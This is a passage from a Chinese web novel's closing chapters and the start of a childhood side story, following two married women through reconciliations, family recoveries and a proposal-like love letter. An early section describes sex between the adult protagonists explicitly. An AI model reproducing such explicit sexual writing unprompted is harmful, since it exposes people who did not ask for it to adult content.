林棘不放,下巴还贴在她的胸口,仰头凝望着她,温柔道: “干嘛害羞,我为你冲锋陷阵的时候从来都不计后果,不在乎尴尬。你知不知道,刚才保护我的时候有多厉害。以后那个周总见到我,一百米开外就开始绕道。有小姜姐姐保护,以后没人敢欺负我了。” 听到“小姜姐姐”这个称呼,姜司意皱着眉笑起来。 “什么啊。” 还在继续哄,“我的后半辈子就交给小姜姐姐了。” 刚才在害怕之中突然爆发的情绪,依旧在心上膨胀着,听到林棘故意逗她实则在宽慰她的话,心里是开心的,忍不住弯了眼睛。 姜司意不笑的时候,漂亮的眼睛里藏着浓浓的心事。 一旦笑了,似新茶初沸时蒸起的薄汽,清雅的气息飘散之后又凝在鼻尖。 心尖被她清冽中透着温存的声音,抽出了一朵稚嫩的小花,软得不行。 用耳朵去蹭姜司意的。 把她蹭软,也把自己蹭热。 指尖沿着后颈的小翅膀,慢慢往她的发丝里伸,指腹感受到皮肤透着情绪余波带来的燥热。 探进长发之中缓缓地揉,帮她放松。 紧绷和羞耻感随着林棘指尖的按动,在一呼一吸中,慢慢呼出了姜司意的体外。 亲了亲姜司意的耳尖,换来她身体恢复敏感的轻微颤抖。 “那是送给我的花?” 透过姜司意的肩膀,看到了桌上的黑巴克玫瑰。 姜司意在她肩膀上点点头。 “……我老婆品味真好。” 林棘在夸花漂亮的时候,有很细微的停顿。 她看到了和花相隔很近的药罐。 不知道姜司意发现了没有。 思绪正在打转时,脸被姜司意双掌夹住,抬起,对视。 林棘:? 姜司意:“不用去想怎么藏,我已经看到了。” 林棘:…… 药罐在姜司意身后,她都没回头看一眼,。 姜司意:“也不是刚才看到的,在海岛的酒店就发现了。” 当时姜司意没去深究,想来也知道是什么。 应该跟幽闭恐惧和严重失眠相关,治疗焦虑障碍的药。 林棘就让姜司意夹着脸,指尖在她腰间磨着,主动交代: “医生说这次药吃完可以试着停药,我就是个正常人了,就能把最好的一切都给你了。” “你从来都是最好的,你愿意给我的一切也永远是最好的。” 尽量平静,语气还是透着着急。 “小佑,我不止想和你分享生活中的甜,也能跟你承担所有的苦。我的一切都是你的。同样的,你的过去你的未来,你的幸福和痛苦,一切也是都我的。我的。” 姜司意的占有欲让林棘眼波迷离。 食草的小鹿,还有这么辣的一面。 那双因情绪波动而变得沉红的唇,诱着她吻上去。 被吻得太有感觉,姜司意后背一片燥热,生怕在这里失控,撑着林棘肩膀的双手欲拒还迎般推了推,声音黏黏糊糊的: “不要在这里……” 当然不会在这,林棘知道她生性腼腆,也不愿她身处任何暴露于他人眼下的可能。 老婆太诱人,只有一点很不好。 很难忍。 黑巴克全程被林棘抱在怀中,回家这一路深秋的寒风都吹不熄心头的爱火。 咔哒。 门关上,黑巴克落在床上,红黑色的花和柔雾粉的床面撞色反差鲜明。 清冷冷的皮肤像冬日阳光下的雪,一只如玉皓白的手抚着在那冬雪上,攥揉着,留下独属的痕迹。 姜司意眼神已经完全失焦了。 腰下垫着枕头。 沾着水色的眸被欲念浸透。 黑色的长发铺在床单上,手往下去找林棘,抚着她束起长发的脑袋。 腿根上一个水红色的咬痕清晰。 林棘五指张开,轻易地托起白晃晃的腿。 舌像软刃,也像火,尽往姜司意的身体里钻。 从未想过的感觉,只灼得她从腿根到腰都要融化。 软到脱力的身体被随意摆弄着。 从后搂上来,双唇吻在小翅膀,顷刻间成了轻咬,再慢磨。 小翅膀完全红了,一颤颤的,像要飞走,却被林棘咬回了唇内。 全是属于林棘的痕迹。 怀里的人喘声小小的,身体的反应却明显到不堪。 水迹从指骨滑落,滴在床面上,落在黑巴克的花瓣上,似夜晚的露珠。 被抱到窗边,窄窄的手撑在玻璃上,随着动作若即若离。 水汽在蔓延。 即便没看到姜司意的脸,也能发现她的耳朵在从红变成浓浓的血红。 深秋的月浸在露水中,冷白的月色裹住潮红的身体,照亮锁骨上发亮的水光。 林棘发现,以前清瘦到肩头都硌人的姜司意,已经被她养得丰腴了些。 血肉在凝脂之下日渐饱满,青涩感慢慢褪去,肩部的曲线也平缓了不少。 两朵鼓饱的花苞沉甸甸地坠着枝头,腰身却收束得紧致。 初熟的风韵里藏着不自知的、浸透了潮湿重量的诱惑。 从肩头吻到颈窝,被她吻到迷乱的女人侧回脸来追她的唇。 侵占着彼此的唇齿,院中的月色西沉,纠缠在一起的红唇染上了冬日青白的雪色。 阔别三季的大雪再次覆盖了这座城市。 院中堆满了雪。 风一吹,树梢上抖下雪沫,满目的银白晃眼。 这是个早晨,快要到上班的时间点了。 吻意犹未尽地结束。 姜司意为她系上大衣的腰带,她为姜司意围上温暖的围巾。 “晚上见。” 姜司意脸还被她吻得红扑扑,扶着她的肩膀再落一个吻。 林棘:“有个礼物要送给你。” “礼物?今天是什么日子?” 好像没有任何节日,距离跨年还有几天。 “今天是我想要你开心的日子。” 林棘递给她一个文件夹,里面是一家艺术品修复公司的交接清单。 姜司意眼睛圆了圆。 是她妈妈的初创公司! 当初母亲倾注了无数心血的公司被姜骆出售时,她和姐姐都在自己的事业上刚刚起步的阶段,即便有母亲留下的一笔财产,却也没有能力阻止,只能眼睁睁地看着母亲的心血被别人占有。 一晃到了今年,她和姐姐都步入了全新的生活,资产丰厚。 本来姜司意是想向林棘取经,学习如何收购公司,把这间公司买回来。 没想到还没开口说的事,林棘就已经帮她办妥了。 姜司意震惊地看着一系列的交接清单。 “怎么都不跟我说一声啊……” 林棘仔细地把姜司意的长发从围巾内抽出来。 “跟你学的,只做,不说。” 姜司意开心得不知道该说什么才好,一下子抱住林棘,扎进她的怀里,就闷在里面不出来。 林棘都被她顶得后退半步,“哎哟”了一声。 某只吃草的小鹿看着细胳膊细腿的,撞起人来也挺厉害。 满足地享受她的重量,摸摸她的脑袋。 “这件事是岑麓帮咱们办的,咱们要记得她的好。” 姜司意在她怀里用力点头。 轻点姜司意粉粉的耳尖。 “再不去上班,小姜经理要迟到了。” 今年落的第一场大雪就有这样的好消息。 到公司的茶水间等咖啡的时候,姜司意给姐姐打视频过去。 姜司聆和格伦达回了西五区,圣诞节将近,格伦达说要带她去拜访家人。 视频接通,姜司意跟姐姐说了妈妈的公司被买回来的事。 姜司聆直接一声惊叫,吓得端火鸡上桌的格伦达险些摔跟头,玩杂技似的左左右右接了半天,终于把火鸡接回了盘子里,幸好她们的晚餐只受了点皮外伤。 姜司聆:【小佑和她姐妹这都帮忙办妥了?那太好啦,感觉像是咱们流落在外的另外一个姐妹终于回家了。】 姜司意也有这种感觉。 遗失了许久的缺憾,奇异地回到她的生命里。 她在为林棘一一缝合伤口的时候,林棘也在细心地修复着她的人生。 公司回来了,林棘交给到姜司意手里,让她学着经营。 当然,不想学也行,林棘也会帮忙好好打理。 学着经营公司没什么不好,这是全新的领域,姜司意其实挺感兴趣。 而且家里还有一位现成的好老师。 姜司意想和吴经理商量,看公司能不能与金石玉器部合作,为拍卖艺术品的修复提供支持。正好在她熟悉的领域,起步的操作会更得心应手。 姜司意端着咖啡杯回了金石玉器部,敲了敲吴经理办公室的门。 刚敲完门,就听见屋内一阵兵荒马乱的动静。 以前是敲了下就直接推门进去的姜司意,忽然停下了步伐。 这什么声? 过了好几秒钟,吴一露才说:“请进。” 声音有些不自然的发紧。 姜司意不知怎么就在脑海中自动浮现,之前的某日在林棘办公室里坐在她腿上和她接吻的画面。 不会吧…… 正想着要不然改天再来的时候,门被推开了。 开门的不是吴一露,而是段凝。 段凝脸庞上带着不该出现在早上九点的可疑红晕。 人已经要往外走了,还非常正经地对坐在椅子上的吴经理说: “那,关于新年主题拍卖会的事情就先聊到这吧,下次我有了更好的方案再和吴经理您碰头。” 吴一露叠着腿坐,手里拿着一支电子笔不停地晃。 “嗯,行,小段你先回去工作吧。” 姜司意:…… 很想说,段凝你就不是这个人设。 而且,吴经理,你想假装松弛其实紧绷到不自然。 段凝正要走,被姜司意拉了回来,关上门。 段凝和吴一露:? 姜司意默默帮段凝把不知道为何松开的第三颗衬衣扣子扣好。 段凝:! 姜司意都没好意思去看吴一露,余光瞥一眼说:“吴经理,你也擦擦脖子。” 吴一露:!! 立刻照了一下镜子,发现脖子上有个和段凝口红色号一模一样的唇印。 无语地瞪一眼段凝。 让你胡来! 段凝:。 姜司意像操心的老母亲一样帮她们善后完,三人的办公室多少有些尴尬,只好说: “你们,先忙,吴经理,咱们微信上再聊。” 随后带着微笑很识趣地离开。 还顺手关了门。 办公又只剩她们俩。 “我就说,司意是自己人……” 段凝眨眨眼,又抓抓脸。 有些心虚又意犹未尽地看吴一露。 “要不,继续?” 吴一露:…… 艺术品修复公司顺利和金石玉器部达成了长期合作。 吴经理让段凝来和姜司意对接工作。 两人则对接了一下午段凝是怎么和吴一露女士搅和到一起去的。 姜司意觉得她俩是日久生情,之前就感觉有点苗头。 段凝:“真的假的?我都没想太多,就秋拍之后,她老说我在外面沾花惹草,我都不明白哪儿是外,哪是内。但为了证明我没有沾花惹草,就,把她给亲了。” 姜司意单手撑着脸,“这两件事的前后逻辑是?” 段凝:“反正,吴一露生气的样子看上去好好亲,被亲了之后脸超红的样子也……” 说到这里没好意思再说,就跟嗑了耗子药一样咯咯笑。 姜司意都懂,开心地与她碰下午茶的杯子。 “恋爱愉快。” 段凝:“恋爱愉快!” 【作者有话说】 林棘:宠妻第四十三步,懂的都懂8.0[害羞][害羞]- 下章应该是完结章啦 完结&番外 第87章 尾声(下) ◎这是我和岁月欠你的情书。◎ 新年伊始,姜家老宅在法拍后易主,重新回到了姜司聆和姜司意两姐妹手中。 故地重游,老宅已经有了明显的变化,但依旧能想起很多有关母亲的温馨回忆。 把姜骆那一家的生活痕迹全部抹去,精心地保留了在意的细节,老宅改造成了画廊,挂靠在艺术品修复公司旗下。 画廊的名字非常简单,就是她们母亲的名字——陶绪。 陶绪画廊将作为姜司聆画作在国内的专属展出场地。 秋拍那三亿的成交价,让格伦达和经纪公司都非常满意,有意开拓国内市场。 她在国内画展的第一站也将在此举办。 很偶尔,画廊最里面的小小展厅,由姜司意曾经的卧室改造出的空间,会挂上几幅不那么专业,却很有灵气和说头的作品。 是姜司意的信笔之作。 有时候一笔笔很认真很用心,有时候就是纯粹玩一玩涂一涂,也会有人喜欢她的灵光一闪。 这处画廊对姜司意而言也非常方便。 无论是主题拍卖会之前的作品预展,还是各种酒会、沙龙,都有了固定的地点,再也不用担心会被谁临时抢走场地。 这份安心,似母亲的庇佑。 姜司聆在陶绪画廊举办了国内第一场专场画展,吸引了不少国内的支持者。 完全没想到会来这么多人。 是画展也是酒会,姜司聆捏着酒杯在人群中漫步,和这些素未谋面的朋友们三言两语,随意聊聊她的作品相关。 画展才开了三天,一大半的画都被预定走了。 去年她在绝望中烧掉了自己的心血,已经做好了从头再来,或是再也无法重来的打算。 又一场大雪后,居然被这么多因她作品而来的人萦绕。 破碎的道心彻底重整旗鼓。 开心的时候,难免权衡不了自己的酒量。 想再拿一杯酒,手被姜司意压了回去。 “姐,喝太多了。格伦达赶不过来,让我好好照看你。真是,怎么会变成酒鬼啊。” 姜司聆顶着两团喜庆的红脸蛋,笑嘻嘻地用力抱着妹妹。 “哎哟,好会管人,难怪小佑迷你迷得要命。” 姜司意:…… 点着她的脑袋将她支起来。 姜司聆其实也没喝醉,就是特别高兴。 她拉着妹妹的手,靠在一幅名为“母亲”的画前。 挂着这幅画的地方,在很多年以前还有一组大地色的沙发,她们姐妹俩和妈妈经常坐在这儿看电视。 这是她俩都很熟悉的视角。 “我们姐妹俩,还有我们的爱人、朋友在这个空间里来来往往,妈妈一定会看到我们现在的生活和事业,会知道我们现在过得很好吧。有很多很多人爱着,这么幸福,再也不用担心了。” 姜司意的鼻尖被姐姐的话说得有些微酸,却在笑。 是啊,以后想妈妈的时候,不用再望向无边无际的夜空却不知该向哪颗心诉说心事了。 这里就是思念的着落。 …… 林棘从公司过来,老宅的位置在导航上还没显示,姜司意已经发了定位,担心她不好找,还是出去接她。 姜司聆跟格伦达视频,一边说话一边吃点心,咯咯乐了半天,挂了之后开始打嗝。 嗝。 怎么回事。 嗝,怎么还,嗝,打上嗝了。 姜司聆咕咚咕咚灌下一杯酒,半点用没有,嗝不仅不停,还打得更响亮。 就在她打得难受时,有人点了点她的肩头。 姜司聆转身:“嗝!” 点她肩膀的是个杏眼鹅蛋脸的陌生女人,女人很年轻,笑盈盈的一双眼极有神采,浑身透着天生妍丽而自知的精致和松弛。 “姐姐,想象一下自己是有肺的,就不会打嗝了。” 连声音都很好听。 很奇怪的说法,姜司聆按照她的说法试了一下。 绝了,真的不打嗝了。 姜司聆:“好神奇啊……谢谢你。” 漂亮女人轻转手里的酒杯,一串轻易的气泡跃上酒面,看向身边最近的那幅画,仰望着,双眸入迷般一瞬不瞬。 “这幅我最喜欢,这三天每天都来,每次看到的感受都很不一样。所有的构思看似漫不经心,其实都经过深思熟虑。特别是这层蓝,下刀够狠的,刮得这么深。底下那层暖色都快透不上来了,可你偏留了条活路。” 她的指尖虚点着一道裂隙里透出的暖光。 “就是这点活气特别勾人,比直接给一道浓郁的光更能触动人心。中间这堆肌理堆出的‘烂泥’太妙了。不是傻厚,里头有筋骨的,刮刀推过去的力道,颜料叠压的层次,全吃进去了。” 回眸,对着姜司聆感叹,眼中尽是仰慕。 “有思考的画才有灵魂,才是现代艺术,才是艺术。天才,就是不受任何单一风格或规则限制,思想和表达的完全自由。谢谢姐姐在国内开画展,能近距离看到姐姐的作品,真的很幸福。” 姜司聆被她的解读说得怔愣。 一字一句都和她创作时的想法不谋而合。 “可以加个微信吗?” 她勾了勾鬓角垂落的发丝,有些腼腆地问道。 姜司聆说:“啊,可以啊,当然可以。” 女人甜美地笑道:“我叫森一繁,最近都在国内。过两天我会办一场J城现代艺术相关的沙龙,到时候姐姐能赏个脸出席吗?我好多朋友都想认识你。” 姜司聆都已经打开微信了,听到这个名字手中一顿。 等会儿,你叫什么? 森一繁的手机响了。 “等我一下哦,很快回来。” 随后转身去接电话了。 姜司聆嘴角抽了抽。 森一繁,好难忘记的三个字。 怎么会想到,有生之年居然还会遇到本尊。 这擅长玩弄漂亮女孩的人渣,可真太有迷惑性了。 差点就被她玩弄了! 姜司聆后退,再后退,速速去投奔姜司意和林棘。 打完电话回来,整个场找不到姜司聆。 好奇怪呀,森一繁纳闷地举目四望。 姐姐呢,不是要加我微信吗?。 转眼大雪纷飞,J城从秋季厚重的金,变成了冬日清清冷冷的白。 一日冷过一日。 过年前,本想请严逾和岑麓来家里吃火锅,没想到这两个大闲人都没空。 林棘问岑麓在忙什么,岑麓回复两个字—— 【挖坟。】 林棘:? 挖哪门子的坟? 居然也有十多年的老友接收不到的暗号。 当时以为这两个字在暗指什么,后来才知道,居然就是字面意思。 严逾的没空倒是很能理解。 因为她在筹备婚礼。 林棘听到她要结婚的消息,和当初她听林棘秋季办婚宴的心情一模一样。 【和谁?】 【你猜!】 【岑麓?】 【……讨厌,你还是别猜了。佑姐,你还记得郁倾时吗?】 【在你工作室背诵《未成年人文身治理工作办法》,说你轻浮,还把你迷得不要不要的那位。】 【这不是重点……总之,就是她!】 林棘逗够了严逾,真情实感为她高兴。 【恭喜恭喜,能和你的天菜姐结婚。这么快就追到了?】 【其实没追到。不仅没追到,还被她更讨厌了,哈哈。】 “哈哈”两声,活人微死感。 也不知是在丧事喜办,还是在喜事丧办。 【那是怎么结的婚?强抢民女?】 【如果我说是相亲相到的,你信么?】 没想到,严逾一直在躲她妈给她安排的相亲,好不容易妥协一回,居然就相到了朝思暮想的心上人。 对方不喜欢她,却答应了联姻。 说不喜欢和陌生人靠得太近,还能答允接吻。 被吻到耳朵通红,还面无表情说一点感觉都没有。 真是让严逾很疑惑的一个人。 要命的是,矛盾又冰冷,浑身的谜团,更喜欢她了…… 严逾让林棘教教她:【怎样才能让我喜欢的人也喜欢我啊?】 林棘看着院子正在给花剪枝的姜司意背影,目光灼灼。 还是那四个字:【心诚则灵。】 本来想着张罗一起吃火锅,现在得去和姜司意一起好好想想送严逾什么结婚礼物了。 临近年关,拍卖行的工作不多,姜司意还是每天去公司。 身为副经理,她在认真梳理新部门的工作。 与此同时,她和薄听已经完成了玉佩的建模和成分分析,进入到跟嘉仕比的数据库匹配阶段。 有薄听的教导帮助,加上姜司意自己一有空就会来操作,这费时费力的事儿进展得算快。 可惜,上个月第一轮对比没有结果。 薄听:“别灰心。我可以去要其他拍卖行的数据库授权。咱们模型和成分分析做的都没问题,只要这枚玉佩在拍卖行交易过,就一定能找到记录。” 前天薄听开始了新数据库的对比。 姜司意一直惦记着玉佩的事,下午部门没什么活,带了些下午茶去找薄听。 刚要敲门,门“呼啦”一下打开,吓了姜司意一跳。 薄听:“我正要去找你。” 姜司意第一次见薄听脸上露出清晰的笑容。 心里有个强烈的预感。 “难道?” “找到了。” 三个字,让姜司意的心不受控制颤动。 是在西五区的一家拍卖行数据库里匹配上的,薄听办事周全高效,收藏它的藏家联系方式也得到了。 姜司意和林棘立刻飞了一趟西五区。 这位收藏家和姜司聆的经纪人是老相识,姜司聆拉上她的经纪人,一起去收藏家家里拜访。 说明了来意,收藏家没想到这枚玉佩还有这样一段故事,唏嘘之余也非常善解人意,愿意将那枚青黄玉龙凤佩归还林棘。 林棘付给了对方高于买入价两倍的报酬。 她曾经握过不少相似的玉佩,唯有这一枚,重新握入手中的感觉不同。 玉佩的每个纹理,所有的细节都在和她的心脏呼应着。 是它。 林棘紧紧握在手中。 是它。 姜司意很少在林棘的眼眸里看到强烈动容的情绪。 一直在努力,也坚信会找回来的,可在真正寻到它的这一刻,依旧觉得无比的幸运和神奇。 远在J城的林雪泊收到林棘发来的照片,愣怔了半晌。 孔郁琛站在她的卧室之外,没进来,目光却是急切。 “雪泊,怎么样了……” 林雪泊回神,眸光轻动。 “找回来了。” 四个字,让孔郁琛胸口鼓满,又深深呼出气,闭上眼垂下头,只会反反复复地说:“太好了,太好了……” 是啊,太好了。 冬日的阳光晒在林雪泊身上,是从皮肉渗进骨血的暖。 林雪泊笑着闭上眼,抬头,承接更多的暖阳。 以后的每一滴泪,都只会因幸福而流…… 奶奶的遗物终于漂洋过海回家了,不仅能弥补她们一家巨大的遗憾,更有可能通过玉佩交易的路线追根溯源,找到人贩子。 这对她们全家的意义,是旁人无法想象的重大。 回国后,林棘一家打算宴请薄听,感谢她的帮忙。 听完姜司意的邀请,薄听却说:“宴请就不必了,你们也帮了我很大的忙。不然秋拍之后我的事业可能一蹶不振,现在能不能保住饭碗也不知道。” 也不强求*,看薄听状态不错,姜司意问她最近怎么样了。 薄听:“我打算给自己放个长假。” “去旅游么?” “离婚。” “真的,那太好啦!” “你说的对,不要在痛苦里找意义,因为它根本没有意义。我要离开她,脱一层皮肉都要离开。” 姜司意看着她笃定的眼神,笑道: “如果有什么我可以帮忙的,一定告诉我。” 薄听没直接回应,她很不擅长依赖谁。 想了想,不想扫兴,只说:“谢谢。”。 初冬的山野有种萧索的苍凉。 一辆宾利穿过狭窄的山道,停在了看守所前。 高挑的女人从车上下来,身后的妻子担忧地拉了一下她的手。 指认嫌疑人只能林棘自己前往,姜司意无法陪同。 这还是结婚之后,第一次无法相伴的情况。 姜司意担心她的心理状况。 人贩子落网消息传来的那天,林棘本人没什么反应,林雪泊和姜司意倒是闷不吭声地抹眼泪。孔郁琛赶过来时,日渐稀疏的头发都支棱在头顶。 警方让林棘去指认人贩子,家人们都担心她再次看到人贩子,会不会受到二次伤害。 林棘:“如果没有警察,受到伤害,甚至是致命伤害的只会是对方。” 姜司意眼眶还红红的,被林棘这句话弄得笑出声。 抹了抹眼泪,说:“我陪你去。” “指认嫌疑人家属好像不能陪同的。” “那我在外面等着你都好,让我陪着你。” …… 林棘从看守所出来的时候,一眼就看到站在车外等着她的姜司意。 一起坐回车中,姜司意在不留痕迹地观察,林棘心情似乎没什么太大的变化。 “是她,老了很多。”林棘揉着手包上的柿柿如意,笑道,“大概是亏心事做多了,她在被捕前已经被癌症折磨了很多年。” 下意识揉毛绒玩具,其实是林棘心绪有些紧绷的表现。 姜司意没打断她的动作,就指尖轻敲她的指骨。 一下下,帮她放松,将她的思绪拉回此刻,尽量别沉浸在过往中。 林棘很快从出神的状态中拢回思绪。 姜司意看着她的眼睛。 “跟我去一个地方吗?” “嗯?” 林棘没想到,姜司意带她去的地方是幻维总部大楼。 姜司意指着最高处。 “想上去看看吗?” 幻维总部有四十层。 楼顶有一个空中花园,景色很美,经常出现在各大社交平台的打卡照里。 这栋属于她的大楼,她还从来没有到顶层看过。 想上去看看吗? 通过那狭窄的、幽闭的,其实并不可怕的轿厢,到高处,到更开阔的地方去看一看。 和姜司意十指相扣,走到电梯前。 林棘自己按下了电梯键。 电梯门缓缓打开,两人一同面对着安静的,狭窄的空间。 心里砰砰跳的姜司意,努力平稳着声音,想给林棘安全感。 “要不然,先到四楼试试……” 话还没说完,就被林棘拉进了电梯。 她自己按下了顶层按键和关门键。 舒心的生活,公平的人生,忠诚的伴侣。 以及完美的爱情。 她要给姜司意最好的自己。 她能做到。 缓缓上升的过程,姜司意和林棘握在一起的掌心里,共同揉搓着软乎乎的“柿柿如意”。 姜司意一直在说着什么。 准备好的小笑话,工作上的小趣事,其实就是想转移林棘的注意力。 笨拙的安抚方式,却比掌心里毛茸茸的小挂件还可爱。 第一次站在城市的高处往下俯瞰。 原来这个视角比想象中的还要开阔。 林棘深深地呼吸,感受那来自辽阔远方的冷意。 鼻尖被吹亮,嘴角却高高地向上扬起。 这条对于普通人而言无比简单的路,她走了这么多年。 风吹起她们的长发,姜司意怕她冷,想从身后抱住她。 却被她张开了大衣,整个人裹到衣服里来。 她们一同望见了远处的灯火和星辰。 在风中与深爱的人热吻。 喜欢开阔世界的林棘,从今往后再也不会畏惧幽闭。 她的心终于走出了那间柴房…… 院内的春花初绽,雪球在温暖的小窝里醒来,在早春三月的阳光下打了个大大的呵欠。 餐桌前,姜司意刷到樊青带着乔槿回家乡旅游的照片。 两人坐在一辆摩托车上自拍,乔槿从樊青身后搂着她,天蓝得晃眼。 姜司意叉一块炙烤和牛,给林棘看照片。 姜司意:“这是要带乔阿姨回家见家长么?” 林棘:“樊青家应该没家长可以见了,就是单纯回去玩玩。” 因为樊青的长假,林棘忙得有些生无可恋。 不过眼下看到这张照片里樊青笑得那么开心,多少有点欣慰。 “说起来,周霓已经回去两周了。不知道这次她和卫总能坚持多长时间。” 林棘的话让姜司意想到,周霓完成临时保镖工作,离开的那天,本来想送给周霓一个小礼物,感谢她的帮助。 不小心看到她和卫肇雪在车里接吻。 惊得姜司意一个滑步转回来。 感觉……两人应该,挺好的吧。 毕竟吻得那么难舍难分…… 结婚纪念日和生日同一天的好处就是,无论林棘愿不愿过生日,这一天都被赋予了全新的意义。 注定会被全新的记忆覆盖。 她们结婚一周年了。 这天,姜司意神神秘秘地带着林棘出门,还不告诉她要去哪儿。 车一路开到她们曾经一起就读的中学门口。 此时已经放暑假,学校里几乎没人。 携手走到六楼,站在一条长长走廊的中间。 很熟悉的地方,林棘记得这里,是她出国治病回来后,想要见姜司意的那条走廊。 走廊的尽头,是姜司意的教室。 那天她准备了一晚上的话想跟姜司意说。 即便说不了那么多,见一面都好。 只可惜当初姜司意还怕她,看了一眼就吓得手里的面包都掉了。 千言万语都只能往回咽。 当时挺难过的,现在想想,即便害怕她的姜司意明明也很可爱。 林棘的心还浸在微酸的情绪里,听到身后人唤她。 “老婆。” 林棘回头,见姜司意在夏日的阳光下向她走来。 一步步,时光随着她的脚步寸寸倒流。 命运一点点峰回路转。 魂牵梦萦的心上人主动走到她面前,递来一封信。 林棘轻轻拈着,“这是……” 姜司意琥珀色的眼眸里倒映着她,唯一的她。 “这是我和岁月欠你的情书。” (正文完) 【作者有话说】 林棘:宠妻第四十四步,走好每一步- 正文完结啦~写苏爽小甜饼心情真的很好[猫头][猫头]也希望看到这篇文的各位,某个时刻能会心一笑[抱抱] 愿大家都能和永远不审判你的伴侣、挚友、家人相遇[抱抱][抱抱] 1)明天老时间继续更新番外。 番外会写姜司意和林棘相伴长大,没有被换婚的IF线。 2)有樊青和乔槿的番外。 3)小姜的反攻大概会放在福利番外,会标出来,大家按需观看…… 4)其他的cp有的可能单开一本,也有可能会在别的故事里相聚,容我再想想~ 5)可以收藏一下我的专栏或wb,开坑早知道~ 6)以及,开了抽奖~谢谢大家一路追文[红心]这章评论区也会掉落200个红包~谢谢大家[害羞] 88 第88章 青梅if线(1) ◎要等我上小学才能结婚了吧?◎ 海岛定亲之后的第三天,两家人要准备各自回去了。 三岁的姜司意问陶绪:“妈妈,我的姐姐老婆会住到我隔壁的那间房吗?” 陶绪:“啊?为什么她要住在你隔壁?” 姜司意用稚嫩的声音发出严肃的疑问: “她不跟我们回家吗?” 都要和我结婚了,怎么不跟我回家啊? 童言无忌,可这也太无忌了。 陶绪摸着女儿的圆脑袋说:“你们现在太小了,还不能结婚,只是定下亲。得长大了才可以结,结婚之后才会住在一起。” 姜司意蹙起清秀的小眉头,认真地点了点头。 “明白了?” “明白了,我太小了。要等我上小学才能结婚了吧?” 陶绪微微一怔,随即哈哈大笑。 懂了,但没有完全懂。 这孩子,到底有多喜欢她的姐姐老婆? 在一旁舔着棒棒糖的姜司聆也跟着笑起来。 “小学怎么能结婚!起码要……”她扳着手指认真算,“要再过十七年你们才能结婚。你要上完小学,再上初中,还要上高中,很多很多年后才能和她结婚。” 姜司聆强调,“很多很多年。” 才三岁大的姜司意根本无法想象十七年是个什么样的跨度,听完姐姐的话愣了愣。 然后就哭了。 原本还因为女儿实在太可爱而笑个不停的陶绪,看到女儿眼泪珠子说掉就掉,转眼就从抽泣的小雨变成了呼啦啦的大雨,赶紧把孩子抱起来,回头向姜司聆使眼色。 怎么能吓唬妹妹! 姜司聆:…… 刚才哪个臭妈妈笑得那么开心啊! 看妹妹说哭就哭,姜司聆也没想到,过来一起哄她。 “别哭了,给你吃好吃的棒棒糖好不好?” 说完就把手里的棒棒糖往妹妹嘴前塞。 陶绪:“司聆,这不是你吃过的吗?” 姜司聆:“唉?对哦。” 姜司意一个扭头扎进妈妈怀里,哭得更凶了。 母女俩默默互看一眼,彼此都有点嫌弃对方。 姜司意爱笑也爱哭,很不好哄,亲妈亲姐都有点没辙。 夜里八点,陶绪只能打电话给林雪泊,问她能不能让小佑过来帮帮忙。 酒店另一侧的套房内。 刚才林棘刷牙的时候,林雪泊对她说: “小佑,你洪阿姨说小川的生日会要到了,在家里办生日宴,想邀请你去。你去吗?” 林棘漱完口,自己擦手、梳长发。 “不去。” 林雪泊早就知道女儿的性格了。 与其说内向,不如说是冷淡。 六岁看老,林雪泊只怕她性格太冷,以后交不到朋友怎么办,妈妈也不可能跟她一辈子。 所以才会这么快答应定亲的事。 这么说起来也算幸运,毕竟现在她有一个小未婚妻了。 还能让她特别上心。 林棘梳完头,自己上床盖被子,打算睡觉。 林雪泊的手机又响了起来。 林棘双手抓着被子,都已经盖到下巴下方,听到妈妈说了“司意”这两个字,又把被子推了回去,点漆似的黑眼珠好奇地看向妈妈。 “……小佑也没睡呢。” 灯光下,坐在沙发上的林雪泊往她的方向看。 林棘已经一咕噜坐起来了。 林雪泊笑道:“她哪会不乐意,行,别着急,我们这就过去。” 挂了电话,林棘问:“妹妹怎么了?” 林雪泊:“你陶阿姨说司意妹妹哭好久了,哄不好,问你能不能过去帮帮忙,哄哄妹妹……” 妈妈话还没说完,林棘已经把小外套穿好,鞋也套好了。 外面下了雨,都不用妈妈说,自己踮脚去拿伞,回头对妈妈说: “走。” 一派领导者的模样。 林雪泊:…… 也是佩服她这行动力。 她们两家住在同一家酒店,没在同一栋楼,得穿过停车场才能到。 陶绪给林雪泊打电话的时候,外面的雨还只是稀稀疏疏的一些小雨,挂完电话玻璃窗上噼里啪啦响,转眼下大了。 怎么突然下得这么大啊? 陶绪站在窗边担心地往下看,不知道林家母女还会不会来。 叮咚—— 传来门铃声。 “来了来了。”陶绪立刻去开门。 坐在地毯上的姜司意给姐姐扎小辫子的动作停了停,眼睛里还挂着眼泪,鼻子一抽一抽的,好奇地往门口的方向看。 姜司聆则是完全不顾自己被妹妹扎成了海胆,早就仰面睡得四仰八叉。 门开了,看见林雪泊和林棘身上都有被雨水打湿的痕迹,陶绪很不好意思。 “没想到雨突然这么大,抱歉啊,快进来快进来。” 林雪泊说:“没事儿,孩子也惦记着妹妹呢。” 两位家长还在说着话,姜司意已经从缝隙里看到了林棘。 就只有半边身子也一下就认出了她。 “啊。” 姜司意立刻爬起来,咚咚咚小跑到门口。 像只风风火火的快乐小仓鼠,眼泪还没下去就开始笑了。 到了面前,和比自己高了半个头的姐姐面对面,被她那双太好看的眼睛看个正着,又有些紧张地后退,退到妈妈身后。 抓住妈妈的衣角,悄悄地偷看林棘。 林棘见姜司意眼睛里还挂着眼泪,睫毛湿乎乎的,可可怜怜的模样,又是惊人的漂亮。 林棘主动去拉她的手。 “为什么哭了啊?” 姜司意不知道该怎么回答,就让她拉着,低头看到林棘的鞋全都湿了。 其实林棘不止是鞋湿了,刚才来的路上雨急风大,刚刚洗完的长头发也湿了,肩头潮乎乎的,却完全不在意。 姜司意小眉头皱了起来,“湿了,不舒服,要换掉。” 林棘点点头,“你带我去换。” 当了一晚上小哭包的姜司意五官立刻舒展,小肉手拉着林棘去卫生间,把自己的小拖鞋摆到她面前。 拖鞋太小,林棘穿不进去。 姜司意“哎呀”一声,胖乎乎的小手又拍拍自己的头,把姐姐姜司聆的拖鞋拎过来给她穿。 林棘看着她忙碌的身影,唇角微微扬起一点角度。 “谢谢。” 见林棘衣服也湿了,姜司意又跑去姜司聆的行李箱里,翻出她认为姐姐最好看的粉色睡裙。 拿去给林棘穿之前,还仔细闻了闻。 嗯,是香喷喷的。 抱着睡裙咚咚咚地跑回林棘面前。 圆圆的身子在大大的套房里穿梭着,像只快乐为老婆囤货的花栗鼠。 